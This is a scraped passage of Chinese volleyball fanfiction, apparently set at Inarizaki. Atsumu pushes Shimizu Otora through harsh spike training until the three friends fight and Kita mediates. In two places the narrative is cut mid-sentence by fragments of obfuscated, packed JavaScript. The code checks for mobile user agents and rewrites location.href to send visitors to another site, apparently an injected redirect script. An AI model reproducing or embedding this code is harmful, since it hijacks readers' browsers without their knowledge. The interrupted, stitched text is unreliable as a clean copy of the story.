跳飘球不需要额外施加旋转,相反,它需要以平直的方式打出,卸去它本来具有的旋转,使它更多受到不均匀的空气阻力的影响,形成不规则飘动,让人判断不出落点在哪里。【注】 但不规律中间也是有规律的,人总不能打出自己不知道落点的不确定的球,还以为这球能够得分,对吧? 也许别人可以,但在清水音空这里是行不通的。 视线里,飞出了晃晃悠悠架势、球路怎么看怎么飘忽不定的排球,像随风飘荡的落叶,眼看就要出界,却在中途快速降落在中场,弹了出去。 “再多来几个,看看精准度还能不能提升,下一个打发球区和前场区的分界线上,要正中间那个位置。” 宫侑说不上满意还是不满意,只是又抛来一个球。 清水音空应了声,接着发球。 他不常发球,不管宫治还是宫侑,在这点上都比他做得好。 如果他出现,大概就是大家的发球已经能被熟练接起,需要靠他防不胜防拿下一两分的时候。 排球很快散落一地,落点可以说是宫侑指哪打哪,只有其中一个太苛刻的网前球挂了网,其他都十分精准。 宫侑沉默的看着。 即使在人才济济的职业队,清水音空这样的成功率也是少有的,稳定到了可怕的程度。 更可怕的是,对排球称不上喜欢的清水音空手感却很好,甚至不需要在比赛中慢慢热起来。 只要球到手上,熟悉一会,他曾经积累的经验就会打开开关,让他的身体变成启动状态。 国中时,清水音空被对手和观众起的外号是机器人。 创新性不足,但固定的熟练度足够的程序都会做得很好。 偏偏对宫侑来说,他能把机器人用得如臂指使,可他最不喜欢的也是机器人了。 比赛时,不管他们怎么脱缰乱来,音空既不会抓住他们拉回去。 像北前辈那样镇住他们,使热到沸腾的开水冷静下来。 也不会纵容着一起。 因为音空没有那个意识。 有球传给音空,他认为怎么打能得分,就那么打出去,被接起来了就再来一回合,球落在自己这边了就回合结束了。 格格不入的冷静就像给大家泼了盆冷水一样。 如果宫侑出其不意想试验新打法,就像学乌野的怪物快攻,阿治能够与他心意相通打出天衣无缝的配合。 传给音空的话,失误率起码在百分之八十以上,绝对会变成很丢脸的乌龙球。 因为是从来没有练习过的配合,熟练度处于零的状态里,别指望音空能来个心领神会。 如果只有他们两个人,或者加上阿治的三个人,凭借一直以来的了解还是有可能的。 但排球场上己方一共有六个人,清水音空不可能只看着他们。 照这么看,是不是让音空把所有技巧全部学一遍,样样熟练度拉满,就百战不败了? 前提是音空真的变成了不知疲倦精力无限的机器人。 宫侑默默琢磨起来。 清水音空力气不算大,甚至还没有他这个二传大。 这点从体型上就能看出来了。 音空的运动天赋体现在他的球感和敏捷上。 跳跃能力,跑动的速度,称得上不错的比赛阅读能力。 虽然打不出重炮效果的凶猛扣杀,但不论是飘球、吊球还是打手出界,都运用得很好。 是和稻荷崎风格截然不同的技术型选手。 稻荷崎虽然没有固定的打法风格,以灵活多变闻名,尤其是在他这个高中第一二传聪明大脑的指挥下,什么打法都有可能实现。 但以他们这级二年级数起来的一届排球部,不管是上面的三年级老将,还是下面的一年级新人。 在多到快溢出的大力主攻手堆里,大力跳发都算不上很大力的清水音空就格外独树一帜了。 不说和王炸级别、稻荷崎首屈一指重炮的阿兰比,整个排球部的主攻副攻数下来,音空大概也就能比北前辈力气大点吧。 没有冒犯北前辈的意思,只是在陈述事实。 虽然说起来有点奇怪,但一个不喜欢排球的人,还能作为强队的首发队员站在球场上。 在实力差距没有天差地别的情况下,那他需要付出的时间和努力,会比喜欢排球的人更多。 道理很简单,喜欢的人很容易激发斗志与灵感。 那种不自觉就集中起来的注意力,紧紧盯着只为不让球落下只为得分的强烈渴求,这些可是切实对实力有加成效果的。 不喜欢的人,总要有一部分来弥补“喜欢”造成的差距。 清水音空确实有天赋,但也没达到碾压的程度。 所以,别看音空自己那么说,好像只是在一直坚持打球这件小事,就以为真是轻轻松松能做到的了。 不然宫侑也不会既讨厌清水音空不够有创造性的风格,又喜欢和清水音空打球了。 要想提升音空的实力,比起去纠正音空自认为没累积够经验就做不到的思维,更好的方法,是用托球让音空的身体表现出超过大脑禁锢的能力。 本身,攻手就会在二传舒适的托球下发挥出更强的实力,并把这种错觉误认为是自己的实力提升了。 音空就是太理智了,分得太清楚了。 能跳得更高,为什么要选已经百分八十以上稳定度击球的高度? 能用更大的力气,为什么要为了后面比赛节省力气使用路线更容易被拦住的球? 不稳定就不稳定,丢分又怎么了,如果排球是百分百稳定的击球运动,那放一堆机器人上场比谁的纸面数据更优秀直接分出胜负好了。 缺点,全都是缺点! 内心狠狠抨击了一通,等发完一百个球的清水音空稍微休息好后,宫侑立刻安排下一项训练。 “我来给你托球,把每个球都扣到对面半场底线上。” 清水音空活动了一下有些沉重的双腿,“好。” 但宫侑托来的第一个球,就超出了他的预料。 本来以为训练的是不同角度的扣球精准度,巩固加强原来水平不够的部分,还能调整一下助跑起跳的节奏。 没想到这个球高出了他常打的舒适高度十厘米,即使他看到飞来的弧线时已觉得不对,但仍然改变不了结局。 可以说球是直接从他手掌上面飞了过去,落在地上,连指尖都没擦到。 在体育馆嘈杂的训练动静中,一颗没接住的排球落地的声音并不明显。 清水音空训练中失误也是常有的事。不然训练是拿来干嘛的。 但这个高度有点像耍人的球让清水音空铩羽而归,托球的还是宫侑,就让周围暗中有在关注一二的队员下意识屏住了呼吸。 他们俩不是好朋友吗? 这是闹矛盾了吗? 可就算闹矛盾了,宫侑也不会用排球来撒气啊? 那这是什么意思? 和宫治垫球的角名手上没停,“故意的。” “嗯。”宫治说,“他又想逼音空一把了。” 角名伦太郎啧舌。 如果说清水音空是个规整的正方形,那宫侑就老是想把清水音空搓圆揉扁,变成一团不规则物体。 但宫侑在这方面还真拧不过清水音空。 换成别的队员,一年级就受到教练重视,能当首发,结果训练时被出乎意料的强度逼得一再受挫,在同级生和前辈面前狠狠丢脸,颜面扫地。 不用说,对自尊心简直是惨烈打击,再严重点的直接退部都不是没有可能了。 偏偏宫侑和清水音空都没有这个意识,也不会受到他人视线与态度影响,最后就只会变成,宫侑的逼迫成了无用功。 清水音空指不定还会淡定的来一句:“今天的训练提升范围太激进了,没起到作用,下次不要这样了。” 把宫侑气得哇哇大叫。 清水音空重新踩在地面,扭头看了宫侑一眼。 他不觉得这是宫侑失误了。 是故意的。 这就是要他做好的心理准备吗?还是要展现给他看的绝妙托球?还是找他麻烦这件事延续到排球上了? 最后这个不可能,宫侑不会干这种事。 那就是和以前一样,又想要榨出他的“潜力”了。 看来今天接下来的训练时间也得浪费掉了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916187|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >……可以向教练提出回家吗? 虽然很想,但知道不可能的清水音空还是放下了这个偷懒的想法。 他看见宫侑走到面前,表情严厉到很有些凶。 “音空,别说大家了,连你自己都快忘记你的摸高比我刚刚托球的点还要高两厘米了吧。” “我记得。”清水音空说,“但我能跳那么高,不代表那个高度就是合适的。” 固然,只要跳得足够高,高到能越过拦网,越过对手两米高的队员跳跃时举起的双手,得分就容易许多许多。 但不需要太多调整就能跳到的舒适高度,和蓄力调整漫长助跑后才能达到的最高高度,打出去的球是不同的。 前者可以经过众多思考有所选择,精准度也能保证。后者却像是慌不择路的突然一击,哪怕对面的自由人和接应没能接住,出界的可能性也非常高。 这个摸高点不是他正常的摸高点,是宫侑要他好好准备后全力一击试试时留下的一连串记录里最高的那个摸高点。 本来就是可遇不可求的,谁能把偶然当常态。 更何况,他已经适应的高度又不差。 “我不管这些,我只知道,你能跳上去却偷懒不跳。”宫侑不打算继续聊下去,“你不用思考,我才是二传,我是队伍的大脑。你是我的工具,我的武器,你被我使用就行了。 “如果你不能把我的托球打好,那我们就一直练,练到你可以为止。我不会像以前那样对你那么温柔了。” 饶是清水音空了解宫侑的气人程度,听到这番鬼话,也忍不住诧异。 温柔? 这个词跟宫侑挨得上边? 难道不是跟他拧了几回后拧得两个人都烦死了,再拧下去指不定要扯到人生理念层面把他拧退部了才放弃了? 现在是觉得他不会跑路了吗? 清水音空一时还真不知道该说什么好,宫侑已退回原位,对他喊了句“准备”,将球抛出来。 在清水音空的犹疑间,这个球落了地。 第三个球也作势要抛出了。 清水音空深呼吸了一下,把心底的火气压下去,将这当成正常训练的一环,予以配合。 但他太习惯自己的舒适区了,没办法完全放下,只像是摸高时那样奔着身体能达到的最高点去。 更何况摸高是拍板子,现在是要掌控一个在空中上升又下落的球。 结果就是二十个球里,他连其中一个的边都没摸到,只是在徒劳地起跳。 甚至在他留出更多助跑距离来提升高度的时候,宫侑会让球飞得更高。 球只是球。 是宫侑在为难他。 打不到也没什么好失望的。 就算宫侑想坚持下去,最多两三天,教练也会叫停。 至于他一直失败其他队员怎么看,清水音空并不在意。 打排球本身就没有意义。 他为什么还在将这项剧烈消耗他精力的事情持续下去? 一直到部活时间结束,体力耗尽的清水音空仍没有给出宫侑想要的结果,还被拉着加练了好一会,回去时走在路上整个人跟枯萎了差不多,累到晚上倒头就睡。 然后是第二天,第三天,第四天。 不知道宫侑怎么说服教练的,对这明显异常的情况,教练并未提出异议。 清水音空找教练想恢复日常训练内容时,宫侑直接在旁边抱着手臂说这就是你新的日常训练。 清水音空真的有点被惹生气了。 他只是情绪比较淡,不代表他死了。 每天大量无用的训练,只为了满足宫侑对他的强求。 精力消耗本就令他疲惫厌烦,加剧情况下累得每天睁开眼睛都恨不得是世界末日,罪魁祸首还结束部活后就变了脸,又是他的好朋友了。 为什么非要他改变? 他凭什么要改变? 清水音空甚至有种报复宫侑的想法。 要是他现在写一张退部申请书递给教练,理由是“深知自己实力不足,配不上队长的重视,以后将放弃打排球”,那宫侑的脸色一定会很好笑吧? 但清水音空又会觉得不太舒服。 如果是他自己的想法,他随时可以走。问题是现在走了,就是被宫侑逼走的。 而且,就算他这么想,他也并不是真的觉得自己实力不足。 他对输赢无所谓,要是实在碰见强敌打不过或者有其他的意外情况,输了也是没办法的事,不必遗憾。可自己付出了这么多的努力,他当然更倾向于能赢。 那宫侑错了吗? 错了吧。 可他不是一直都知道宫侑就是这样的人吗? 清水音空在更衣室换上运动服,对其他队员点点头当做打招呼,累得连话都懒得说了。 宫侑从身后追上来,一胳膊搭在他肩膀上,另一边的宫治扶住差点一个趔趄的他。 然而,等到了体育馆里,他们之间也会像最近几天排球部的氛围一样,迅速冰冷下去。 宫侑并没有落下自己的该有的训练,只不过将二传手的传球手法和战术球配合训练全部分给了他,不管在练什么,每一个都是强人所难的球。 但清水音空还是能看得出来,宫侑变强了。 波动的状态随着训练逐渐稳定下来,强到像比其他人多上了一层楼,站在高高的台阶上往下看。 就算他和宫侑拧成这样,宫侑也没骂他球渣,态度平静到诡异,可从球里透露出来的差距以及气势,却比指着他的鼻子骂还要令人难受。 难以置信,先气急败坏的好像不是宫侑,是他。 烦。 难受。 窒息。 胃部的沉重感已蔓延到五脏六腑,扯着心脏往下坠。 心里想着要不要退部绝交一步到位,清水音空如往常那样结束基础训练,站上球场。 宫侑把球高高抛起。 那是一个恐怖的,能无视拦网的高度。 讨厌的球。 讨厌的宫侑。 讨厌的高度。 以及,讨厌的弱小的他自己。 清水音空没想过和宫侑在排球的道路上同行,但他对自己实力的底气,在这几天的惨败和宫侑肉眼可见的飞快进步里,逐渐被动摇了。 他真的做不到吗? 他真的能做到吗? 依旧是没有充足的助跑距离,依旧是一个适合扣杀的球。 似乎也依旧将从指尖上方的空气擦过。 但清水音空跳起时,眼睛只看着这颗高度快刻到他骨子里的球,思绪全都消失了。 该怎么打,落点打在哪,哪个打法最合适,是不是又打不到了。 什么都没有。 只有掌心甚至觉得陌生的排球触感,与处于高空时视线里一览无余的球场。 “砰——” 被全力扣下的排球几乎在空气中擦出一道悍然的白色直线,以刁钻的角度,高高越过拦网,擦过橡胶地面,发出响亮的碰撞声。 接着,高高弹起。 一个完美的,几乎大家都可以想象到场上站在六个人却依旧对此束手无措的界内球。 双脚落地时,和以往没什么区别。 清水音空看了眼自己掌心,仍有些不敢置信。 有几声掌声响起。 随后,是热烈到快要将体育馆天花板掀开的掌声和欢呼声。 “太棒了音空!扣得漂亮!是不是很爽!” “清水,就知道你能做到的!” “好样的!刚刚那个球也太厉害了!” “每天看着你这么练习,终于成功了,太不容易了……” 宫侑扑了过来,然后是宫治,然后是一脸感动的银岛前辈,然后是因为同级会走得近一些的一年生…… 大家都涌过来了。 好多人。 好热。 归根结底,这不是他自己的事吗?为什么别人比他更激动? 清水音空没能从一张张脸上找到答案。 他那点些微的开心被大家汹涌的热情淹没了,就好像消失在海里的水滴,只剩下复杂的心绪和迷茫。 好重。 有点难以呼吸。 13.第十三章 打架 练习,是将可能性高的偶然化作必然的过程。 但现在那个“可能性高的”好像被删除了。 清水音空不知道自己为什么这次跳得这么高,当做到的时候,这件在他眼中变得极为困难的事,真的回落到了普通练习的程度。 不需要去提前想这个球该怎么办,打了这么多年的经验和高到制霸的视角,足以让他在摸到球的瞬间做出简单有用的决定。 的确。 是很厉害的托球。 恰到好处,无比顺手。 只是整个流程,完全违背了他以往的观念。 为什么第二个第三个第十个也这么顺? 为什么一连几天都打不到,打到之后就能凭空有及格以上的精准度? 好像他跳上去后,身体就自动解开了一道枷锁。 在哇声一片的氛围中结束扣球训练,黑须教练表情赞扬中带着欣慰,确认他体力流失速度只比之前多一点后,宣布下一项训练改为队内赛。 这也是常有的情况,比赛才能看得出来具体怎么样。 清水音空的新高度,造成了堪称绝杀的效果。 要不是队内对彼此球风都比较熟悉,清楚他爱打什么样的球,还能接到些,只怕会被一分分扣到灰头土脸。 宫侑开心得不得了,完全把他当成满场飞的大炮使用,甚至要用战术了都不打个手势通知一下,全让他自己意会是不是给他的。 对清水音空来说,这场队内赛分数赢很多,但他打得一点都不舒服。 就像对他的告白一样,逐步入侵毁灭他的个人空间后,宫侑还在毁灭他多年来唯一坚持的运动的体验。 是的。 事实证明,宫侑是对的。 他思路僵化刻板,不自觉在偷懒,限制了自己很多。 所以呢。 然后呢。 他变得更强了,那又怎么样? 他的排球被否定了,那又怎么样? 这意味着他的人生也被否定了吗?因为他从小到大打排球的方式是错的,所以他的思维方式也是错的,他这个人也是错的? 体力被榨干的清水音空已经不清楚自己在想什么离谱东西了,他不明白宫侑的目的,以至于这几天憋着的气都找不到正确的出口。 如果可以,宫侑能来扯着他的衣领骂他两句“你现在知道悔改了吧”就好了,这样他就能名正言顺和宫侑吵一架了。 要吵架的话从哪一句开始说? “你这个混蛋”? 听着好像太普通了。 “别自作多情了,我不需要你管我的事”? 好像又太伤人了。 宫侑这种排球方面极其坚韧其他方面高攻低防的笨蛋,要真说这样的话,恐怕比他被气到退出排球部还能让宫侑记一辈子。 毕竟他退出排球部的话,前脚刚走,后脚宫侑就能冲过来抓住他,目的不是道歉,是挑衅。 哈哈。 清水音空真觉得有点死了。 要不给宫侑一拳吧,这几天他看见宫侑的脸就烦,把那张主人引以为豪的脸打破相好了。 要怎么做才能把一个人打破相? 拳头应该做不到吧? 要不要问问治是怎么做到的? 但感觉用暴力解决问题好奇怪,就算把宫侑打一顿,问题也没解决吧? 让人受伤终究是不好的,宫侑也没可气到那个程度? 冬天的室外长椅着实不是一个好去处,虽然起到了支撑身体的作用,隔着布料传来的冰冷却要把体温都吸干净了。 清水音空仰着头,视野里出现一张不久前还在他脑海中旋转着挑哪里下手比较好的脸。 但头发是银色的。 两双眼睛对视了几秒,清水音空眨了眨眼,宫治直起身,走到他旁边坐下了。 然后立刻倒抽一口凉气,“好冷。” 清水音空把仰得有点发僵的头收回来,“因为你没换衣服。” 就运动服这薄薄的,在体育馆里训练时还好,出来了就冷,更别说坐椅子上了。 “你也没换。”宫治晃了下旁边空荡荡的水瓶,“出门打个水人就消失了,还以为你被狐狸妖怪抓走了。” 清水音空不过脑子胡言乱语:“稻荷崎有稻荷大神庇佑吧,不然还有北前辈呢,不会被抓走的。但北前辈也有可能是狐狸妖怪,很端庄的狐狸,那就没办法了,但北前辈抓走人也会好好饲养的,谢谢北前辈。” 宫治忍不住笑出声,“你敢把这话当着北前辈的面说一遍吗?” “北前辈会说我可能有点发烧了,头脑不太清楚,需要赶紧去看医生。”清水音空叹了口气,“我确实头脑不太清楚,治,你说,侑应该明白我也是个人吧?再怎么好朋友,我也先是一个人,人是不能这么对待的。” “他的确做得很过分,”宫治撸袖子,“要打他一顿吗?” “先把袖子放下来,冷。”冰凉的空气都无法让清水音空的大脑冷静下来,“想过,但这种行为无法让我舒心。” 宫治安静了一下,突然说:“从来没见你这么生气过。” “如果宫侑的目的是要把我惹生气,那他成功了。” 清水音空接着说的话和宫治的声音重叠。 “但他不会用排球做这种事。” “但他不会用排球做这种事。” 清水音空语气里多了点无奈:“所以,哪怕是宫侑那里得来的答案,也一定无法让我释怀。我没他那么喜欢排球,这是我们根本上的差异。” “他喜欢排球是他的事,他不顾你的意愿强人所难是你的事,并不会因为他喜欢排球,做的事就都是正确的。” 宫治看着清水音空的侧脸,虽然是负面情绪,但比起死气沉沉毫不在意的样子来说,这副生气的模样都显得生机勃勃。 “我比较好奇的是,为什么不直接拒绝?罢工也可以吧?这是正当的反抗行为,大家不会无视你的个人意愿的。” “……” 清水音空沉默了好一会。 他在默默的思考。 他当然知道,就是因为他还在照常练习,即使一个球都碰不到,被宫侑拉着加练也没有多说什么。 哪怕忍无可忍向教练要求恢复日常训练,也不是多么激烈的言辞,被宫侑一说之后就放弃了,连追问都没有。 就是这么明显的顺从又妥协的态度,才能一直持续下来。 如果他表达出激烈的个人意愿,哪怕是跟宫侑明确说一句“我不要这么练了,这根本做不到”,这件事就结束了。 但是。 那不就显得他认输了吗? 宫侑都能忍住那么多个球托空还不骂人,他如果还做不到,做不到还选择逃跑,那他是什么人了? 他也会不甘心的。 可宫侑做的是对的,好像也不能说强人所难了。 对的就能做吗? 对的为什么不能做? “你生气,是因为阿侑开始‘欺负’你了。”宫治声音放轻了些,带着点复杂的笑意,“以前知道你不喜欢但是有努力在打排球,试一下改不了就算了,以你的态度为先,尊重你的打球方式。 “但他现在不愿意了,非要像个暴君一样逼着你突破,逼着你成功,逼着你直视你就是有那么强的实力。 “哪里都好,唯独无视了你不想突破,不想提高很多实力,不想看见自己并不认可的‘潜力’。” 清水音空听出了一丝难过。 明明简单明了的把他和宫侑的问题剖析出来,宫治却像是被隔绝在外的旁观者,为自己无法加入这样闹矛盾都显得亲密的关系失落。 “我心脏还挺好的,暂时应该气不出什么毛病。但你让我休息几天,我缓一下,太累了。”清水音空认真道,“到时候,你也来‘欺负’我,我绝对会生你的气的。” 宫治脑袋上差点冒出问号:“这么难受的水也要端?” “侑那里我已经忍了,也能忍忍你的,忍完再生气,总不能让你觉得被排挤了吧。”清水音空讨教,“我没怎么生过气,你教教我,怎么做比较好。” 宫治感觉自己被踩在笑点上,那些因宫侑横冲直撞却总能取得不错效果、比他和音空关系更好的酸涩也都轻飘飘消失了,只剩下熟悉的安心感。 他笑得快直不起腰,一脑袋栽在清水音空膝盖上,好一会才缓过气。 如果阿侑知道,大概又得生气了。 要是攻略游戏里出现一个音空这样的端水大王角色,只要玩家打出新进度,就会自动将其他玩家进度拉到同样进度,那游戏就乱套了,辛辛苦苦冲在前头却只会造福后人的玩家也得气死了。 但生气里还会有种诡异的自豪。 就像他现在的心情一样。 因为,只有他们能有这个待遇。 “还是打一架吧,”宫治真诚提议,“有什么话都说开,然后打一架就过去了。” 清水音空还是不太能想象。 但宫治说的显然是亲身经验,他和宫侑之间也确实很少有打完架后还留着的隔夜仇。 人生矛盾是可以这样翻页的吗? “你们在这里啊!”大嗓门传来,关西腔黏黏糊糊的,“一个接一个出门就不回来了,还以为你们被狐狸妖怪抓走了。这里有什么好待的,坐着喝西北风吗?” 说着,人已经窜过来一屁股坐在长椅上,毫不见外地把清水音空往宫治那边挤了下,挤得三个人挨在一起。 然后被冻得“嘶”了声。 清水音空:“……” 宫侑很奇怪,摸了摸脸:“你这么看着我干嘛?我脸上有灰?” 想用眼神表达一下愤怒与杀气的清水音空无力:“你为什么非要逼我跳到那个摸高点?” “因为你跳得到啊。” “又不是做得到就必须要去做。” “做得到为什么不去做?那不就是偷懒吗?”宫侑恍然大悟,“哦,你问我为什么非逼你跳到那个摸高点是吧?” 清水音空冷静提问:“这和我一开始说的问题有区别吗?” “这是两件事啦。”宫侑摆摆手,“我一直在看你的训练、队内赛、学校练习赛和正式比赛的录像。 “野狐中学的很少,中学还是不太注重这方面,凭身体素质打球就足够了,全国赛录像都不多。要不是成绩还行,单独一个选手扔到人堆里都找不到。 “基本上都是你进稻荷崎之后的,你长高还挺快的,有感觉吗?跳跃能力也越来越好了,摸高一直在变,但你很快找到了舒适高度,效果挺好,之后也就是一点点稳定的向上提升。 “但我越看越觉得不应该,你对自己太放纵了,一副准备在舒适区待到老死的样子,真叫人看不顺眼。 “我每看一次,就会生气一次,越看就越生气——我居然也一直这么放纵你了,竟然没让你发挥出你应该有的实力!” 说到这里,宫侑真情实感的咬牙切齿起来。 有什么是比一个二传手发现死去的幼驯染攻手还有从来没用出过的隐藏实力更气人的? 甚至让他觉得,清水音空选择离开固然背叛了他,但他从来没有真正在球场上使用过清水音空,他也对不起清水音空。 不,比这个更严重。 音空抛下他们甚至是可以理解的。哪怕他不理解。 但他看着音空固步自封,就是他欠音空的,也是欠过去的他自己的。 现在回来了,有机会了,他当然要弥补这个天大的错处。 宫侑一巴掌拍在清水音空大腿上,“就算你以后不打排球了,明天就退部了,我也要你在还打排球的时候,所有实力都用出来,让大家知道清水音空有多厉害!” 清水音空差点没痛得跳起来。 他深吸一口气,转头看宫治:“你听懂了吗?” 宫治听懂了,但他摇了摇头:“给你打个样?” 清水音空:“好。” “你们干嘛背着我说话?”宫侑不满,“难道我说错了吗?阿治!你打我干嘛!” 宫治不理他,“音空,来,冲脸打!” “你们一起打我?音空都要打我?!阿治你跟音空说什么了!太过分了!” 宫侑像被宰的猪一样剧烈挣扎起来,愤怒极了,宫治都没按住,但清水音空已经扑了过来,生涩地握起拳头。 三人从椅子打到地上。 两个熟练工因为中间多了个人碍手碍脚。 宫治不想打到清水音空,宫侑怕把清水音空揍坏了,清水音空打人都不会打,不知从何下手。 但清水音空是真生气,不明所以的宫侑也有点生气,宫治老被抢跑的怨气又出来了。 拳脚不认人,愤怒还会传染,刚开始还有点打闹性质,在地上纠葛成一团后是打出真火了。 清水音空被扯出来时,还没忘记再补两脚。 脑袋里什么都空掉了,只有压着的那股气燃烧出来的愤怒在舔舐着神经。 思维随着逐渐平稳的呼吸重回大脑时,清水音空才后知后觉身上哪哪都在疼。 脸,下巴,肩膀,胳膊,腰侧,腿上也有点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919032|191994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挨了几脚踹。 他一开始还顾着点宫治,毕竟宫治这次还没惹他,但后面也顾不上了。 要知道,没有新仇但有旧恨,之前先亲他的就是宫治! 他一直记着呢! 被尾白前辈和大耳前辈分别拉开的宫治和宫侑裤腿还有他补的两个脚印,一人一个,很公平,也很显眼。 此刻两人都垂头耷脑的,还在使劲给他打眼色。 ……等等。 清水音空默默回头,果然看见了板着一张脸的北前辈,和后面看热闹的几个队员。 三年级前辈都来了。 还有角名前辈,别拍了,他后悔之前给出拍摄许可了。 北信介皱眉,视线扫过三人脸上的伤。衣服底下的还不知道有多少,打得够凶的。 宫双子打起来不稀奇,清水音空跟着一起打那真是出大事了。 还是撞见的角名估摸着一个人劝不动也不想费劲,把这消息发群里,大家才知道排球部最近几天发生了什么,急匆匆赶来拉架。 “先去校医室检查一下,问题我们之后再说。” 结果就是一堆人把校医室塞得满满当当,得到都是皮外伤的结论后,还把他们衣服都带来了,等换上后才离开校医室另外找了个地方说话。 清水音空又被宫双子夹在中间,难得感到耳朵发烫。 他把外套领口拉到最高,遮住半边脸,垂着脑袋,恨不得不让任何人看见才好。 长这么大,他就没有这么丢脸过。 北信介问:“打架原因是什么?” 清水音空往外一站,“是我生侑的气……” 宫治立刻站出来,不让清水音空一个人揽责任:“是我先动手的。” “什么生气,我怎么不知道?”宫侑震惊,也站到前排来:“我也动手了!” 清水音空撇过头,嘲讽道:“你当然不知道了,你每天觉得自己太正确了,做得特别好,还忍住了没骂我,简直对我太温柔了。” 宫侑叫屈:“你今天下午打得不爽吗?训练总要有个过程的,你要是开窍再快点,一开始就听我的把脑子丢掉,都不用等到今天,第一天你就会了!这还不是你的最高点,等你习惯了还可以嗷!” 宫治收回巴掌,“对不起我又先动手了。” 围观的队员们很努力才憋住没笑出来,免得气氛太不庄重了。 但这真的不是在表演漫才吗? 北信介没有被影响,确定是因为这件事起的矛盾后,他倒是放心了些。 音空还知道发脾气,挺好的。虽然打架不好。 “阿侑,你应该向音空道歉。就算你觉得这件事是为音空好,也应该先和他沟通交流,采取让他接受的方式进行,而不是逼着他去做。” 宫侑不太服气。 他们什么都不知道,北前辈也一样。 跟音空沟通交流是没有用的,音空根本就不会说,也不会接受,就是要逼着音空直面麻烦,才能起作用。 不然音空别说发脾气打架了,还是那个无所谓的样子呢。 “阿侑。”北信介重复了一遍,“单论这件事,你觉得你没做错吗?你没有让音空觉得不舒服吗?” “……有。” 宫侑又觉得有点难过。 他目的不是想让清水音空不舒服,但这是必然会造成的。 能一起活到一百岁的话,他闲得没事干了天天找音空麻烦。 一个不想活的人被强行留下来,本身就是极度难受的事。 “音空,”他吸了吸鼻子,“对不起。” 打一架确实是有用的,痛归痛,羞耻归羞耻,清水音空心里却从来没有这么痛快过,这段时间积压下来的压力,似乎减轻了不少。 “下次别这样了。” “……你要说没关系。” “你先回应我上一句话。” 宫侑不说话了。 清水音空:“……” 清水音空:“没关系。” 以后的事以后再说,现在先解决掉被大家围观的问题吧。 北信介又看向清水音空,“音空,我没有要责怪你的意思,你承受的心理压力很大,但打架不是好的解决方式,你也打不过他们,这样更吃亏了。” “噗——” 不是放屁。 是有人使劲憋也没憋住,发出的奇怪声音。 清水音空脸都快烧起来了。 北信介也打算尽快结束这件事了。 阿治阿侑还好,脸皮厚,不在乎,音空大概人生头一回有这种经历,羞耻心可能要爆炸了。 他最后看向宫治,想了想,“你是来干什么的?” 宫治:“……” 是啊。 他来干什么的。 他一开始来帮音空打架的,后来忘记了。 宫治也想了想:“他俩打架总不能没有我吧?” 别管他起了什么作用,但音空不能和阿侑背着他打架。 北信介:“?” 北信介:“这件事就到此为止了,以后不要再犯。你们今天训练都辛苦了,赶紧回家休息吧。” 清水音空都不知道自己怎么跟前辈们道别的,回家路走到一半了,才恍恍惚惚回过神,心里还是很崩溃。 从今天开始,他就是个笑话了。 虽然他不在乎别人怎么看待他,但、但也不能是他出了这么大的糗之后把他当笑话看吧?! 褒义的笑话也不行啊! 只可惜,人与人的悲欢并不相通。 宫侑还挺高兴:“我都没想到有天能和你打一架,干得漂亮!” 清水音空无语:“你在说谁干得漂亮?” “说你啊。”宫侑说,“不过北前辈说得对,你还得再练练,不然太吃亏了。” 宫治也心情挺好:“打架确实很有用吧?我们早就该打一架了。” 清水音空:“……几天前?” “刚认识的时候。”宫治说,“然后从小打到大,就最好了。” 宫侑拉住清水音空的手腕:“是啊,不过现在也不错,还不晚。” 宫治拉住清水音空的手腕,“也算是把当年没打的架补回来了。” 清水音空:“只有今天一次而已,我已经认识到了暴力的危害性,能不能不要把我说得像个以后会经常打架的惯犯?” 心好累。 算了,不想了。 回家涂药。 等等。 不对。 “侑,你一直看我的录像干嘛?” 14.第十四章 要求 宫双子顿时一个激灵,表情都僵住了。 如果头发能因为过电竖起来,他们大概现在就是两个惊慌失措还要竭力维持镇定的炸毛。 清水音空本来只是想起这件事不太对劲,顺口问了句,但两人反应太明显。 他不由仔细琢磨,发现疑点不是一般的大。 按宫侑的说辞,看过他的录像不止一次了,起码是烂熟于心的程度。 他们黏成近乎连体婴同进同出三人组模式是最近才开始的,但此前论起一起上学放学,对彼此日常生活的了解,也没有差到哪里去。 也就是说,在他升入稻荷崎的近一年里,宫侑在不多的个人时间里反复观看他的录像,经常为他的打球方式生气。 但这两件事在他面前一点都没泄露出来,连宫治都没有透过口风。 这可能吗? 看治和侑现在的表现,就知道是不可能的了。 治看起来成熟点,但也是个不太会瞒事的,本质上和侑一样是个直肠子,只不过为人处事有点区别。 侑就更不用说了,生气了能把地板跺得像地震嘴巴翘得挂油瓶的人,只怕第一时间就直接冲到他家把他拉到球场去逼他“改正”了。 就像这几天近乎残暴的行为一样。 以前侑逼他那几次没成功,归根究底是侑本身也没那么确信这对他来说就一定是正确的吧。 为什么这次就觉得是正确的了? 而且宫侑能忍这么久,简直像个被科幻小说里的机器人取代掉的恐怖故事。 眼看着清水音空眼神越来越微妙,宫侑是真的汗流浃背了。 他本来就是个不太能保守秘密的人,能守住这么大的事不漏口风,还是因为惨痛的下场他已经体验过了。 如果让音空知道他们是从未来回来的,且各自人生发展还不错,都在朝着目标前进,说不定音空还会觉得这证明自己的选择是正确的。 所以,时间线上超过今年的事他基本没有提起过,唯独在音空这里有点放松了。 